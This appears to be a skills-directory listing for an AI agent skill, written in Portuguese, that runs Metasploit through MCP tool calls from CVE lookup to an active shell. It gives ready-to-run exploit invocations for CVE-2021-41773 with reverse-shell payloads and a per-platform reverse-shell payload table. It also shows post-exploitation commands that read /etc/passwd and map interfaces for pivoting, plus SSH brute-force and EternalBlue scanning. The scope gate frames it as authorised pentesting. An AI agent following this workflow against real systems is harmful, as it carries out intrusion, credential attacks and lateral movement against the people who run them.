Skip to content
Back to skills

Khaos Metasploit Operations

BSecurity

Operações Metasploit via MCP — busca de módulos, configuração de datastore, execução de exploits, gerenciamento de sessões. Workflow completo do recon de CVE até shell ativo.

  • 5 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 20, 2026
ai-agentsgoshellbashgit

Works with

  • mcp

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 20, 2026

npx -y skills add henriqqw/KhaosMCP-Pentester-Agent --skill khaos-metasploit-operations --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Metasploit Operations?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Metasploit Operations
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-metasploit-operations/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-metasploit-operations)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-metasploit-operations
description: Operações Metasploit via MCP — busca de módulos, configuração de datastore, execução de exploits, gerenciamento de sessões. Workflow completo do recon de CVE até shell ativo.
metadata:
  khaos:
    tool_ids: []
    wordlist_ids: []
    stages: [exploitation, validation]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: embedded
      path: khaos-metasploit-operations/SKILL.md
      license: not-declared
      reviewed_by: Khaos maintainers
      review_note: Skill operacional para o MCP Metasploit integrado ao Khaos. Cobre workflow completo de exploitation via khaos_msf_* tools.
---

# Metasploit Operations — Workflow de Exploitation

**Stages:** exploitation / validation
**Pré-requisito:** CVE identificado (nuclei, khaos_query_cves) + alvo em escopo

> **Gate obrigatório:** confirmar que o alvo está no escopo do assessment ANTES de qualquer `khaos_msf_run_module`. LHOST deve apontar para o container `msfrpc` interno, não para IP externo.

---

## Fase 1 — Buscar módulo pelo CVE

```
khaos_msf_search_modules {
  assessment_id: "...",
  search: "cve_2021_41773",
  type: "exploit"
}
```

Retorna lista com `module_path`, `name`, `rank`, `description`.
Ranks por confiabilidade: `excellent` > `great` > `good` > `normal` > `average` > `low`.
Preferir `excellent` ou `great`.

---

## Fase 2 — Inspecionar opções do módulo

```
khaos_msf_module_info {
  assessment_id: "...",
  module_path: "exploit/multi/http/apache_path_traversal_rce"
}
```

Retorna:
- `options`: cada opção com `required`, `default`, `description`
- `targets`: plataformas suportadas
- `references`: CVEs, URLs de PoC

**Campos obrigatórios típicos:**
- `RHOSTS` — IP ou hostname do alvo
- `RPORT` — porta (padrão: 80 ou 443)
- `LHOST` — IP do listener reverso (`msfrpc` para ambiente interno)
- `LPORT` — porta do listener reverso (4444 padrão)
- `PAYLOAD` — ex: `cmd/unix/reverse_bash`, `linux/x64/meterpreter/reverse_tcp`

---

## Fase 3 — Executar o exploit

```
khaos_msf_run_module {
  assessment_id: "...",
  module_path: "exploit/multi/http/apache_path_traversal_rce",
  datastore: {
    "RHOSTS": "target.example.com",
    "RPORT": 443,
    "LHOST": "msfrpc",
    "LPORT": 4444,
    "PAYLOAD": "cmd/unix/reverse_bash",
    "SSL": true,
    "TARGETURI": "/"
  }
}
```

**Resposta de sucesso:**
```json
{
  "job_id": 1,
  "sessions": {
    "1": {
      "type": "shell",
      "target_host": "10.0.0.5",
      "via_exploit": "exploit/multi/http/apache_path_traversal_rce",
      "platform": "linux",
      "arch": "x64"
    }
  }
}
```

Se `sessions` está vazio: módulo rodou mas exploit não funcionou — tentar outro alvo, payload ou target.

---

## Fase 4 — Verificar sessões abertas

```
khaos_msf_list_sessions { assessment_id: "..." }
```

Retorna sessões persistas no DB Khaos + status (`open`/`closed`).

---

## Fase 5 — Validar shell

```
khaos_msf_session_command {
  assessment_id: "...",
  session_id: "1",
  command: "id"
}
```

Resposta esperada: `uid=48(apache) gid=48(apache) groups=48(apache)` (confirmação de RCE).

Outros comandos de validação:
```
"uname -a"          → kernel e distro
"cat /etc/passwd"   → usuários do sistema
"hostname"          → nome da máquina
"ip addr"           → interfaces de rede (pivot targets)
```

---

## Fase 6 — Criar finding

```
khaos_create_finding {
  title: "RCE via CVE-2021-41773 (Apache Path Traversal)",
  severity: "CRITICAL",
  evidence: {
    "session_output": "uid=48(apache)...",
    "module": "exploit/multi/http/apache_path_traversal_rce",
    "session_id": "1",
    "target": "target.example.com:443"
  },
  affected_endpoints: ["https://target.example.com/"],
  cwe_ids: ["CWE-22"]
}
```

---

## Payloads por plataforma

| Plataforma | Payload recomendado |
|---|---|
| Linux shell | `cmd/unix/reverse_bash` |
| Linux Meterpreter | `linux/x64/meterpreter/reverse_tcp` |
| Windows Meterpreter | `windows/x64/meterpreter/reverse_tcp` |
| Windows shell | `cmd/windows/reverse_powershell` |
| macOS | `osx/x64/shell_reverse_tcp` |
| Multi-plataforma | `generic/shell_reverse_tcp` |

---

## Auxiliary scanners comuns

```
# Verificar se SMB tem EternalBlue sem explorar
khaos_msf_run_module {
  module_path: "auxiliary/scanner/smb/smb_ms17_010",
  datastore: { "RHOSTS": "10.0.0.0/24" }
}

# Brute force SSH
khaos_msf_run_module {
  module_path: "auxiliary/scanner/ssh/ssh_login",
  datastore: { "RHOSTS": "target", "USER_FILE": "/usr/share/metasploit-framework/data/wordlists/common_users.txt" }
}
```

---

## Referências

- Metasploit Docs: docs.metasploit.com
- Skill complementar: khaos-metasploit-post-exploitation

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.